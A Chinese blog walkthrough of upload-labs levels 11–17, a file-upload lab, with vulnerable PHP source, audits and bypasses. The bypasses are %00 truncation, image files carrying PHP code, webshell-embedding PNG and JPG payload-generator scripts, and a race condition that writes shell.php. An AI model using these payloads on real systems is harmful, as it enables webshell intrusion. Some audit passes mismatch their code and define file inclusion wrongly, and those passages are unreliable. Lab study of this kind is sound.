这一关我们可以通过%00来进行绕过,为什么%00就可以绕过呢。由于这一关用户上传的路径可控,所以我们可以通过%00来进行截断,为什么是%00呢?原因是由于我们php的源码时通过C语言来写的,在C语言当中\0是代表着“字符串结束符”,为什么这里要用%00不用\0,原因是由于是get传参,在url地址栏\会被urlcode编码转换为%0,因此需要使用%00进行截断。而当在文件上传路径上添加我们需要上传的php文件,在php文件后面添加上%00,实现截断,从而实现绕过,文件得以上传。

抓包后未修改

抓包后修改且文件上传成功

第十二关

源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

代码审计

创建一个数组,其中包含'jpg','png','gif',说白了也就是一个白名单,只能是这三种后缀的文件才能上传;

通过substr()函数来进行字符串的分隔,strrpos()函数是用来查找字符串中另一个字符串最后一次出现的位置,此时的上述代码中查找的是最后一次点的出现。后面有一个+1是说明,截取的文件后缀名不带点;

判断上传的文件是否是白名单中的文件后缀名,如果是的话则获取上传文件的临时文件名。定义上传的路径,上传路径通过post传参,以及10到99的随机数和年月日加文件后缀名,一起组合而成。

绕过原理

这一关同样我们使用%00截断进行绕过,但是这一关使用的是post传参,与上一关不同的是上一关使用的get传参,而在post传参中我们需要将%00进行解码操作,因为post传参不经过url地址,不用经过urlcode编码,因此只需要经过urlcode解码就可以实现绕过,实现文件上传。

抓包后未修改

抓包后修改且上传成功 

第十三关

源码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

代码审计

定义了一个名为getReailFileType的函数,它有一个参数$filename,用于获取文件的真实类型。

使用fopen函数打开$filename文件,并以二进制模式打开。

使用fread函数读取$filename文件的前两个字节。

使用fclose函数关闭$filename文件。

使用unpack函数将读取的二进制数据转换成字符,并将其存储在$strInfo变量中。

使用intval函数将两个字符转换成整数,并将其存储在$typeCode变量中。

定义一个$fileType变量,用于存储文件的扩展名。

使用switch语句根据文件类型码$typeCode来判断文件类型,并将其对应的扩展名存储在$fileType变量中。

使用return语句返回$fileType变量中存储的文件扩展名。

使用isset函数判断用户是否提交了表单。

获取上传文件的临时文件名,存储在$temp_file变量中。

调用getReailFileType函数获取上传文件的真实类型,存储在$file_type变量中。

使用条件语句判断文件类型是否为未知,如果是则将$msg变量设置为"文件未知,上传失败!"。

如果文件类型不是未知,则生成一个随机的文件名,并将文件保存到指定路径。

如果文件保存成功,则将$is_upload变量设置为true。

如果文件上传出错,则将$msg变量设置为"上传出错!"

这一关说到必须使用文件包含漏洞才可以使得图片码得到解析,而什么是文件包含漏洞呢?

所谓的文件包漏洞就是,所有上传的文件都会以php的文件类型解析,无论上传的是什么类型的文件。

绕过原理

这一关我们可以通过图片码进行绕过,由于过滤当中没有检测上传图片的内容,因此使用图片码。题目中说到使用文件包含漏洞来对上传的图片码来进行解析。

图片码的合成我们就不介绍了,上面已经操作过,可以对图片码进行查看,是否恶意代码写进图片当中去

 上传图片码,我们看到可以成功上传

通过文件包含漏洞对上传的图片码进行解析

第十四关

源码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

代码审计

该函数isImage是用参数定义的$filename

变量$types被分配一个字符串值,其中包含函数将接受的图像类型的文件扩展名。

$filename该函数使用函数检查给定文件是否存在file_exists

如果该文件存在,该函数将使用getimagesizefunction 获取有关该文件的信息。

然后该函数用于image_type_to_extension获取文件的扩展名。

该函数使用stripos函数检查文件扩展名是否存在于接受的图像类型中。如果是,函数返回文件扩展名,否则返回false.

如果文件不存在,函数返回false

和变量分别$is_upload初始化$msgfalsenull

该代码submit使用函数检查按钮是否已在 HTML 表单上单击isset

上传文件的临时文件路径分配给$temp_file.

该函数以 as 参数isImage调用$temp_file,并将结果分配给$res.

如果 的结果isImagefalse,则将一条消息分配给$msg

如果 的结果isImage不是false,则生成新的图像路径并将其分配给$img_path

调用该move_uploaded_file函数将上传的文件移动到新的图片路径,如果成功,$is_upload则设置为true.

如果上传文件时出现错误,则会向 分配一条消息$msg

绕过原理

与上一关没什么区别,也是通过图片码就可以进行绕过。主要原因还是没有检测图片的内容。使得图片码就可以成功绕过。

可以看到图片成功上传

 可以看到经过文件包含漏洞,使得我们图片码中的php代码得到了解析

第十五关

源码

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

代码审计

这是一个名为 PHP 的函数定义isImage,它接受一个参数$filename

该变量$types被定义为由竖线字符分隔的有效图像文件扩展名的字符串。

$filename该函数使用函数检查指定是否存在file_exists

然后该函数用于getimagesize获取有关文件的信息,例如文件的大小和类型。

然后它用于image_type_to_extension将 返回的文件类型转换getimagesize为其相应的文件扩展名。

该函数检查生成的文件扩展名是否是$types. 如果是,该函数返回文件扩展名。如果不是,则返回 false。

主要代码通过检查是否单击了“提交”按钮来检查表单是否已提交。

代码从$_FILES数组中获取上传文件的临时文件路径,存入$temp_file.

isImage函数以参数调用$temp_file,结果存储在$res.

如果$res为 false,该$msg变量将设置为一条错误消息,指示上传的文件不是有效的图像文件。

如果$res为真,则代码使用rand当前日期和时间生成一个唯一的文件名,并附加由返回的文件扩展名以isImage在目录中创建一个新的文件路径UPLOAD_PATH

调用该move_uploaded_file函数将临时文件移动到新文件路径。

如果文件上传成功,则$is_upload变量设置为 true。如果move_uploaded_file返回 false,则在变量中设置错误消息$msg

绕过原理

这一关与前两关没有什么打的差别,使用图片码进行绕过即可。

可以看到我们的图片可以成功上传

 可以看到通过文件包含漏洞,上传的图片中的php代码被成功解析了

第十六关

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

代码审计

初始化了两个变量:$is_upload和$msg。前者是一个布尔变量,最初设置为false,后者是一个字符串变量,最初设置为null。

通过检查是否按下了提交按钮来检查表单是否已提交。如果有,代码将继续执行,否则,将跳过其余代码。

使用$_FILES超全局数组检索关于上传文件的信息,包括其名称、类型、大小和临时文件路径。

通过将上传目录路径与上传文件的基本名称连接起来,设置上传文件的目标路径。

使用substr()和strrchr()函数从上传的文件名中提取文件扩展名。

通过检查文件扩展名和类型是否为image/jpeg类型的.jpg文件、image/png类型的.png文件或image/gif类型的.gif文件来检查文件扩展名和类型是否有效。如果文件对上传有效,代码将继续执行下一步,否则,它将$msg变量设置为一条解释无效文件类型的消息。

如果文件有效,代码将尝试使用move_uploaded_file()函数将上传的文件从临时位置移动到目标位置。如果成功移动文件,代码将继续进行下一步,否则,它将$msg变量设置为指示发生错误的消息。

使用以下函数之一根据上传的图像的文件路径创建一个新图像,具体取决于文件类型:imagecreatefromjpeg()、imagecreatefromng()或imagecreatefromgif()。使用上传的图片生成新的图片,注意imagecreatefromjpeg()函数,可以将图片码中的恶意代码进行打散,然后重组,使得恶意代码失效。

通过检查新创建的图像是否为假来检查它是否有效。如果是,代码将$msg变量设置为一条消息,指示该文件不是有效的图像类型,并从目标路径删除上传的文件。

如果新创建的图像有效,代码将使用rand()和strval()函数生成一个随机文件名,并将适当的文件扩展名附加到文件名后。

该代码使用以下函数之一将新创建的图像保存到上传目录,具体取决于文件类型:imagejpeg()、imagepng()或imagegif()。

该代码从临时位置删除上传的文件,并将$is_upload变量设置为true,以指示文件已成功上传和处理。

如果在任何步骤中发生错误,代码将$msg变量设置为相应的错误消息。

绕过原理 

方式一 --- 通过图片码的形式,再进行与原图片进行比较,找到相同的部分进行插入php代码

此方法只能是gif的格式才可以成功

虽然imagecreatefromjpeg()函数,可以将图片码中的恶意代码进行打散,然后重组,使得恶意代码失效。我们可以使用010Editor工具对图片码和打散后的图片码进行对比,找出相同的部分进行插入php代码,再进行上传,此时图片码中的恶意代码将不会被打散了,从而实现绕过。

首先上传我们生成好的图片码,可以看到图片正常上传上去了

查看图片中的php代码,发现此时图片被imagecreatefromjpeg()函数进行了重组,使得之前里面存在的php代码已经被打散了

对打散后的图片与之前未打散的图片码进行对比,寻找相同的部分,然后进行php代码的插入

 

此方法需要尝试许多次,我尝试了几十次都没有成功,可能是运气有点不太好。

方式二 --- 通过脚本生成一个png的图片,进行上传

下面是生成png图片的脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

将生成的1.png进行上传,此脚本当中将会上传一句话木马

通过get0和post1进行木马的连接

方式三 --- 通过脚本生成一个jpg的图片,进行上传

下面是生成jpg图片的脚本

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

通过以下这种方式生成jpg的文件,虽然存在某个插件出现问题,但是不影响使用

第十七关

源码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

代码审计

定义两个变量 $is_upload$msg,初始化为 false 和 null。

检查是否收到提交表单的请求,这里假定提交按钮的 name 属性为 submit

定义一个数组 $ext_arr,用于存储允许上传的文件类型,这里只允许上传 .jpg.png.gif 文件。

获取上传文件的原始文件名 $file_name 和临时文件名 $temp_file,其中 upload_file 是表单中文件上传字段的 name 属性。

从文件名中提取文件扩展名 $file_ext,例如 .jpg

定义上传文件的完整路径 $upload_file,其中 UPLOAD_PATH 是文件上传目录的绝对路径,需要根据实际情况修改。

如果上传文件成功移动到目标位置,则执行下面的操作。

如果上传文件的扩展名在允许上传的扩展名数组中,则继续执行下面的操作。

定义新文件名 $img_path,其中包括一个随机数和当前时间,以防止重名。

将上传文件重命名为新文件名 $img_path,覆盖原文件名。

将变量 $is_upload 设置为 true,表示上传成功。

如果上传文件的扩展名不在允许上传的扩展名数组中,则设置变量 $msg 为错误信息,同时删除上传的文件。如果上传文件失败,则同样设置变量 $msg 为错误信息。最后,这段代码执行完毕后,可以根据 $is_upload$msg 的值来确定上传是否成功,以及出错原因。

绕过原理

这一关代码不存在代码漏洞,在逻辑上存在漏洞。原因是文件先上传在删除。当上传的文件被删除之前我们访问到,也就是说,我们可以通过时间竞争的方式提前在文件删除之前访问到文件,此时通过访问上传的文件,且上传访问的文件中是存在,只要访问该文件就可以在上级目录生成一个新的文件。从而防止后端的过滤是在当前文件夹中进行循环过滤。我们可以通过一个线程不间断的访问,一个线程不间断的上传,此时肯定会出现在上传未删除的时候,上传的文件被我们访问到。

下面这段代码是通过我们上传web.php,进行访问web.php就会在上级目录创建一个shell.php,且shell.php当中会被插入<?php phpinfo();?>这段代码,也就是一句话木马。

对上传的web.php文件进行抓包

通过抓包工具进行不间断的上传

再通过抓包工具对上传的web.php不间断的进行访问

我们可以看到shell.php被成功上传

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

努力学IT的小徐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值